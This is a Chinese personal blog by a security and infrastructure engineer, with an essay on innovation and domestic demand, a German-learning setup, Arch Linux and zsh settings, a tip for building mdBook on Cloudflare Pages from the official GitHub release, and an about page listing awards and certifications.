创造本身就是越来越难的,以纯粹的科学来看,牛顿一个人可以扛三个基本定律,爱因斯坦一个人还能推狭义和广义相对论,到量子力学时代就需要一堆科学家,而到我们这个时代,甚至需要开始担心一个人一辈子能不能把创新突破所需的所有前置知识学完。科学姑且还是上游,下游的技术和工业还有一些余地。但总的来说,人类对创新所需的时空复杂度没有确数,又只能试图靠线性的人口规模效应来抽卡。当然,也没有抽出来。

此外,创造力的另一个难处就是上一波婴儿潮的思维惯性渗透在社会结构的每一个边角,慢慢冷却凝固,变成泥沼,成为新一代思维创造的阻力。这个话题我就不触摸了,让读者感受一下读《置身事内》后半部分的那种凉菜吃完就给你翻台了的感觉。

那咋办?

也不是说这个下行周期就全都是难受的事情,捋掉泡沫之后,我们还是能看到,买电车的人越来越多,清洁能源增速感人,新三样成了;国内工业品的质量慢慢跟上水准,中国制造2025成了;虽然离AGI还有一段距离,但人均算力和同等算力支撑起的模型越来越能够支撑可用了。既然宏观的研判总是说内需不足,为了拉动内需,倒过来看,用我们目前创造力的边界,去推断内需的增长点。

  1. 电动力+IoT+边缘计算实现的智能制造。春节前后,机器人,机器狗,无人机,还有够用的人工智能,都出来了,只要再发展一段时间,成本突破临界点实现量变转化为质变,民用场景铺开是很快的事。但国内面向智能制造消费场景的综合设计人才还是太少,又要会CAD,又要画板子,还要写固件,还得保留自己人类的部分用来考虑产品。大伙看到机器人机器狗就想着扛炸药,这谁想不到,但你这会儿也没法去荡平缅东,海岛奇兵啊。互联网时代搞搞用研写写文档画画UX的产品经理现在转型还来得及。风险点在于,万一智能制造成本永远突破不了临界点咋办?这就不是普通人类能预测到的了。
  2. AI工作流。这是实际已经发生在西海岸的工作方式,但国内似乎鲜有人推,大家也就拿问答bot出点文字材料。toB的项目经理,背靠充分的算力资源,这都距离ChatGPT发布一两年了,Qwen2和R1的出料又不是不能用,怎么还没把贯彻到设计、编码、测试和项管一体联动的成熟产品端上来,还停留在编辑器插件、浏览器对话框和AI会议纪要?以前做互联网产品的劲头呢?内容生产者用AI工作流应该就更方便了,文科对精确度和幻觉的宽容比工程领域高得多。当然,这几个月已经刷到很多毫无营养的内容农场b站视频了。纯靠SoVITS做的AI人声电棍鬼畜也很没意思。
  3. 战。我劝你别想着直接开什么东大烈焰升腾副本,有没有人有兴趣研发点便宜全身VR再加个电击痛觉器,怼到《和平⭕️英》上,然后让《Q宠大⭕️斗》的团队运营,想开副本的人先强制他氪个金然后每周末强制驻场打12+12个小时,包住宿(无热水空调电扇,没收手机,不许外出),每天只发放若饭1瓶作为早午晚餐。
  4. 写到这已经困了,以后想到再说。好点子想到了也不说。

我写的博客和我看的博客

2025-01-03, 杭州

我写的博客

我写博客的频率不高,因为我觉得别人已经发了很多次的内容并没有什么自己再写一遍的必要(这尤其在典中典Java/Vue3电商业务开发者的博客中非常常见)。并没有批评别人写的博客的意思,因为对于每个人来说只要他能把东西写出来,对应的东西在他脑海里就一定有了和纯粹摄入不一样的理解,总归是好事。但是本博客还是努力记载一些网上做过的人不是很多或是留下的记录不是很多的事情。

我看的博客

以下是一些比较“干货”,大家可能都会喜欢看的博客,故分享。有些比较异食癖的博客就不列出了。

  • Arthur Chiao's Blog 许多云原生、网络和基础软件的优秀文章
  • Cloudflare学习中心 适用于初学者入门接触云网络的学习中心
  • Apenwarr Tailscale CEO的博客,有许多深刻的计算机网络见解
  • 美团技术团队 在业务开发领域有丰富实践经验的文章
  • The Type 文字设计站点,建议配合《字谈字畅》食用。一人一句Eric老师nb!
  • LWN 什么,这不是博客,这是新闻站。但内容质量确实高

想起来多少写多少,未来可能不断补充。

我的德语学习配置

2024-09-29更新 2024-04-08, 杭州

每天上下班坐地铁通勤总共要浪费2小时时间,看看社交媒体很快就会失去趣味,不如利用起来学一门外语。

选德语而不选日语的原因是:英语功底如果比较好的话德语学起来很顺手,语感几乎可以继承。

Duolingo

我拿Duolingo当作主线课本,毕竟有明确的线性学习进度和学习反馈,能比较清晰看到自己大概学到啥水平。

更新:Duolingo适合领个入门,找找最基础的语感,实践上我个人感到,到A1收尾左右的时候,会让人显著感受到用它学语言其实是在骗自己在山脚徘徊摘果子而不敢往大山深处进发。

Duolingo大伙可能都懂,学外语的疾速追杀猫头鹰软件,但真正拿它建立起长效的学习机制可能比较难。我们的最终目标是坚持学习,要坚持学习就要不择手段建立起良好的长效反馈。这个时候就需要合理利用它的几个机制:

  1. 每周排位赛。留意让自己参加排位赛,努努力往钻石锦标赛冲刺,实在没空也可以长期保持在相对看得顺眼的段位。有个隐藏成就是在钻石排位拿到第一名,值得冲一把!
  2. 双倍经验。一旦开始爬排位,就得额外关注攒经验,就被双倍经验机制吸引了。双倍经验宝箱主要有四个来源。
    1. 一是每天06:00到12:00、18:00到00:00两个时段的早起宝箱和夜猫子宝箱,只要这个时段做了题就可以在下一个时段领到15分钟的双倍经验;
    2. 二是每天的三个任务,黄金任务完成后会直接给15分钟的双倍经验;
    3. 三是每完成一个学习小节,就会送15分钟的双倍经验。可以合理利用15分钟做一个快速的one-shot,不要嫌学得太少,有积累就完事了。
    4. 此外还有第四种方法:每周跟朋友共同挑战的宝箱,这个宝箱奖励一个(好像是5天保质期的)30分钟双倍经验。朋友宝箱就是经典的抱大腿时刻,有些大腿一声不吭直接把全部挑战都做完了,你直接领取。
  3. 每周特殊活动。在排位面板的特殊活动往往能奖励比常规课程更多的经验,相对应地基本都是要求在一分半之内完成单词记忆/课程速通等,很适合复习强化记忆。
  4. 传奇挑战。每节课程做完都有个Legendary挑战,难度会更高,但双倍下最多能奖励90经验(一般的课程是30经验)。
  5. 分享。可以大胆把自己的进度贴到社交平台增强反馈。

我的Duolingo(Google Play服)的ID是:PredmetCh,欢迎加好友一起玩。

Lingvist

为什么不用Anki

Anki是个免费的好东西,但我感觉它的复习算法比较僵硬,而且给予的反馈不足以驱动我持续背单词。

Lingvist是一个背单词的软件,号称是词汇量评估和记忆算法比较智能,统计维度给得不多不少刚刚好,我用下来感觉也比较舒服,美中不足在于要收费,赶上活动打折的时候年费会员也要200多块钱。

Claude-3-Opus

不得不说,在用过的各类AI当中,我感觉Claude-3系列的文科表现是最好的,可以直接当语言老师和语法速查手册使用,还可以围绕一个知识点发散学习。

Obsidian

笔记软件,平时记录很散的内容,等觉得太散了再对着小黄书串起来。后续可能考虑把内容总体发布到博客上。值得一提的是我目前里面的笔记全都是记录Claude-3的回答。

标准德语语法 Lehr- und Übungsbuch der deutschen Grammatik

小黄书,语法大而全,题目多且硬,非常非常硬,比较适合拿来当参考书,做笔记时查阅,或是和Claude3一起用。

里程碑

德语的里程碑就是A1、A2、B1和B2四个等级考试了,随缘吧。

我的日用Linux配置

2023-05-31, 杭州

使用的发行版:Arch Linux

pacstrap -K /mnt base linux linux-firmware vim neovim sudo openssh man man-pages texinfo

.zshrc配置:

autoload -Uz colors
colors
PS1="%n@%{$fg[blue]%}%m %{$fg[green]%}%~%{$reset_color%}> "
alias diff='diff --color=auto'
alias grep='grep --color=auto'
alias ip='ip -color=auto'
alias ls='ls --color=auto'
alias vim='nvim'

export LESS="-R "
export LESS=-R
export LESS_TERMCAP_mb=$'\E[1;31m'
export LESS_TERMCAP_md=$'\E[1;36m'
export LESS_TERMCAP_me=$'\E[0m'
export LESS_TERMCAP_se=$'\E[0m'
export LESS_TERMCAP_so=$'\E[01;44;33m'
export LESS_TERMCAP_ue=$'\E[0m'
export LESS_TERMCAP_us=$'\E[1;32m'

export RUSTUP_DIST_SERVER="https://rsproxy.cn"
export RUSTUP_UPDATE_ROOT="https://rsproxy.cn/rustup"
export GOPROXY="https://goproxy.cn"

在Cloudflare Pages上使用mdBook构建

修改于2024-10-12, 杭州

2023-05-31, 杭州

CF Pages的官方文档说他们支持mdBook构建,但实际上构建选项里并没有mdbook可以选。

现在CF Pages文档不再声称支持mdBook构建了。不过按本篇直接下载二进制构建的方法,也可以在CF Pages上使用mdBook。

有人对此提出了一个issue,里面提到可以试试追加环境变量MDBOOK_VERSION。但issue下面也有人表示加了不管用。

最后的一个workaround是直接把二进制下下来build,真的有用。

将构建命令设为curl -L https://github.com/rust-lang/mdBook/releases/download/v0.4.30/mdbook-v0.4.30-x86_64-unknown-linux-gnu.tar.gz | tar xvz && ./mdbook build(这里注意选择合适你的mdbook版本)

输出目录设为book

于是就可以构建了。

关于

Predmet Chen (chengongpp) 是现居杭州的一名基础软件工程师,主要搞云、网络开发和安全,偶尔看看版式设计。

本站是Predmet的个人博客,使用mdBookCloudflare Pages构建。

本站目前使用的字体是InterIntel One Mono

联系方式

邮箱:chengongpp【@】bupt.cn

博客:https://predmet.ch

GitHub:https://github.com/chengongpp

Twitter:https://twitter.com/predmetch

Telegram Channel:https://t.me/prdm_thoughts

徽章

  • 全国网络安全行业职业技能大赛一等奖 #3 of National Cyber Security Skills Competition 2023
  • 浙江省金融五一劳动奖章 Zhejiang May 1st Labor Medal of Finance
  • 浙江省网络安全运维工程师职业技能竞赛二等奖 #3 of Zhejiang SecOps Skills Competition 2024

证书

  • OSCP+
  • OSEP/OSWE
  • OSWA/OSWP/OSDA
  • CISP
  • PMP
  • CCRC信息安全管理体系审核员 CCRC-ISMS
  • 翻译专业资格(英语三级笔译) CATTI Level-3 English Translator
  • 软考信息安全工程师(中级) Qualification of Computer and Software Professional (InfoSec Engineer)

一切都会过去。


引流标签:IaaS 云原生 云安全 混合云 基础软件 linux 渗透测试 攻防对抗 红蓝演练 DevSecOps 信创 自主可控 架构师 信息安全 企业安全 centos arch linux